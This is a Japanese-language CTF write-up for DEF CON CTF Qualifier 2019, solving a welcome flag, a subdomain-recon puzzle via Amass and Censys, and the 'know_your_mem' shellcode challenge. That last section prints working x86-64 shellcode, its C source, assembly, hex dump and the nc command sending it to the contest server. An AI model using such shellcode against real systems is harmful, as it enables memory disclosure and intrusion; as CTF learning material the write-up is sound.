DEF CON CTF Qualifier 2019 write-up
5/11 0:00-5/13 0:00(UTC) に開催されたDEF CON CTF Qualifier 2019で解けた問題のwrite-upです。チーム名 whitecas でソロ参加し、310pts獲得して148位でした。
welcome_to_the_game
参加表明?的なフラグ提出。
Welcome to the 2019 DEF CON CTF quals! Let's start it out with a free flag :) If you can't submit it and get points there must be something very wrong, and we hope it's on your end :D
Flag: OOO{Game on!}
cant_even_unplug_it
You know, we had this up and everything. Prepped nice HTML5, started deploying on a military-grade-secrets.dev subdomain, got the certificate, the whole shabang. Boss-man got moody and wanted another name, we set up the new names and all. Finally he got scared and unplugged the server. Can you believe it? Unplugged. Like that can keep it secret…
なにやらmilitary-grade-secrets.dev
のサブドメインで提供していたWEBサービス?があったんだけど、ボスがびびってサーバーをネットワークから切り離したからコンテンツ見れんぞ。という設定の問題らしい。
とりあえず、subdomain のスキャナツールを探し、OWASPのツールでAmassというのを使ってみた。
結果
$ sudo docker run amass --passive -d military-grade-secrets.dev secret-storage.military-grade-secrets.dev now.under.even-more-militarygrade.pw.military-grade-secrets.dev www.military-grade-secrets.dev OWASP Amass v2.9.10 https://github.com/OWASP/Amass -------------------------------------------------------------------------------- 3 names discovered - cert: 2, scrape: 1
secret-storage.military-grade-secrets.dev
にアクセスしてみると、forget-me-not.even-more-militarygrade.pw
へ302リダイレクトされる。でもSYN/ACKが返ってこない。これがUnplugってことかな?
別の方法を考えてみてCensysでforget-me-not.even-more-militarygrade.pw
のIPv4アドレス206.189.162.22
の検索を試してみる。
Censysがアクセスしたときのコンテンツを記録してくれているみたいで、おっ!?と思い、HTTPコンテンツを覗いてみるとフラグがあった。
Flag: OOO{DAMNATIO_MEMORIAE}
know_your_mem
pwn練習問題?Shellcodeを提出して、フラグを表示させれば勝ち。
問題ファイルは、練習用ファイル(simplified.c
)と本番サーバーと同じソースファイル(know_your_mem.c
) があり、練習用ファイルはヒント表示がある。ソースとしては一緒だが、simplified.c
は、simplified_shellcode.so.c
をコンパイルしてできるsimplified_shellcode.so
のshellcode
という関数を呼び出し、know_your_mem.c
は、標準入力からfreadしたshellcodeをメモリ上に格納し、処理をしてくれる。
フラグは、ファイルからreadした文字列を0x0000100000000000UL
~0x00001ffffffff000UL
の間のランダムな場所にmmapで確保されたメモリー領域に格納されている。
コマンドプロンプトでmake check
とすれば、shellcodeのテストができる。simplified.c
はフラグが格納されているアドレスのポインタを突き止めればOK。know_your_mem.c
は、そのポインタを利用してフラグを表示すればOK。
$ make check : ./topkt.py shellcode.bin ./simplified [ ] This challenge may be slightly easier in Linux 4.17+. Here, we're running on Linux 4.18.0-18-generic (x86_64) Loading your simplified solution from ./simplified_shellcode.so [ ] Putting the flag somewhere in memory... Secret loaded (header + 107 bytes) [H] The flag is at 0x107bfb3f9000 [ ] Putting red herrings in memory... [H] Red herring at 0x1631b4f87000 [H] Red herring at 0x191914eea000 : [H] Red herring at 0x1cd4c7262000 [H] Red herring at 0x171470311000 [*] seccomp filter now active! Hi! Soon I'll be your shellcode! [*] Your shellcode returned 0x107bfb3f9000 [^] Success! Make sure you're also printing the flag, and that it's not taking too long. Next: convert your solution to raw shellcode -- you can start with C code, BTW! shellcode.c shows one way to do it. Good, the simplified version worked! Let's now try raw shellcode... ./know_your_mem < shellcode.bin.pkt | tee | fgrep --text 'OOO{theflagwillbehere}' [ ] Putting the flag somewhere in memory... [ ] Putting red herrings in memory... [*] seccomp filter now active! [*] Your shellcode returned 0x19900cd26000
フラグ文字列を指すポインタを求める処理は↓のように書いた。ポインタは、mmapの返却値としてstack上に一時保存していた値が残っているので、stack上の値を適当に検索して、保存対象のアドレス範囲を指すポインタ値っぽいかどうか雑に比較して求めた。
// This is an example of turning simple C into raw shellcode. // make shellcode.bin will compile to assembly // make shellcode.bin.pkt will prepend the length so you can // ./know_your_mem < shellcode.bin.pkt // Note: Right now the 'build' does not support .(ro)data // If you want them you'll have to adjust the Makefile. // They're not really necessary to solve this challenge though. // From https://chromium.googlesource.com/linux-syscall-support/ static int my_errno = 0; #define SYS_ERRNO my_errno #include "linux-syscall-support/linux_syscall_support.h" #define ADDR_MIN 0x0000100000000000UL #define ADDR_MASK 0x00000ffffffff000UL void* _start() { //sys_write(1, __builtin_frame_address(0), 5); // Prints something (note: best avoid literals) //sys_exit_group(2); // Exit void **pt; pt = (void**)(((unsigned long)&pt) - 0x100); while (1){ if ((unsigned long)*pt < 0x00001ffffffff000UL && (unsigned long)*pt > ADDR_MIN) { return *pt; } pt = (void**)((unsigned long)pt + 0x4); } return (void*)0x1234; }
know_your_mem (フラグの出力)
Makefile
の処理でshellcode.cに書かれた処理がコンパイルされ、know_your_memに送るshellcodeが作成される。shellcode.c -> shellcode.elf -> shellcode.bin.pkt という風にshellcodeが作成されている。(※shellcode.bin.pktの先頭2バイトはshellcodeの長さを表すunsigned short) make処理では、↑で書いたポインタを求める処理だけコンパイルし、そして、know_your_mem.c
で特定したメモリアドレスをwriteするshellcode部分は以下のように書いて、↑で作成したshellcode.bin.pktに追加して最終的なshellcodeを作成した。(system callでwriteを呼び出している)
4D 31 D2 XOR R10, R10 48 C7 C2 50000000 MOV RDX, 50 48 89 C6 MOV RSI, RAX 48 C7 C7 00000000 MOV RDI, 0 50 PUSH RAX 49 8D 42 01 LEA RAX, QWORD PTR [R10+1] 0F 05 SYSCALL 58 POP RAX
最終的にサーバーへ送信したshellcodeは以下のようになった。
00000000 59 00 48 8d 84 24 f8 fe ff ff 48 b9 ff ff ff ff |Y.H..$....H.....| 00000010 ff ef ff ff 48 be fe ef ff ff ff 0f 00 00 48 89 |....H.........H.| 00000020 44 24 f8 48 8b 54 24 f8 48 8b 02 48 8d 3c 08 48 |D$.H.T$.H..H.<.H| 00000030 39 f7 76 0b 48 83 c2 04 48 89 54 24 f8 eb e4 4d |9.v.H...H.T$...M| 00000040 31 d2 48 c7 c2 50 00 00 00 48 89 c6 48 c7 c7 00 |1.H..P...H..H...| 00000050 00 00 00 50 49 8d 42 01 0f 05 58 c3 |...PI.B...X.|
送信結果
ubuntu@ubuntu-VirtualBox:/media/sf_onedrive_ctf/DEFCON_2019/first_contact/know_your_mem$ cat shellcode1.bin.pkt | nc know_your_mem.quals2019.oooverflow.io 4669 [ ] This challenge may be slightly easier in Linux 4.17+. Here, we're running on Linux 4.15.0-1037-aws (x86_64) Send the length (uint16), then the shellcode. [ ] All right, I read 89 bytes. I will call the first byte in a bit. [ ] Putting the flag somewhere in memory... Secret loaded (header + 36 bytes) [ ] Putting red herrings in memory... [*] seccomp filter now active! OOO{so many bits, so many syscalls}
Flag: OOO{so many bits, so many syscalls}
以上でっす。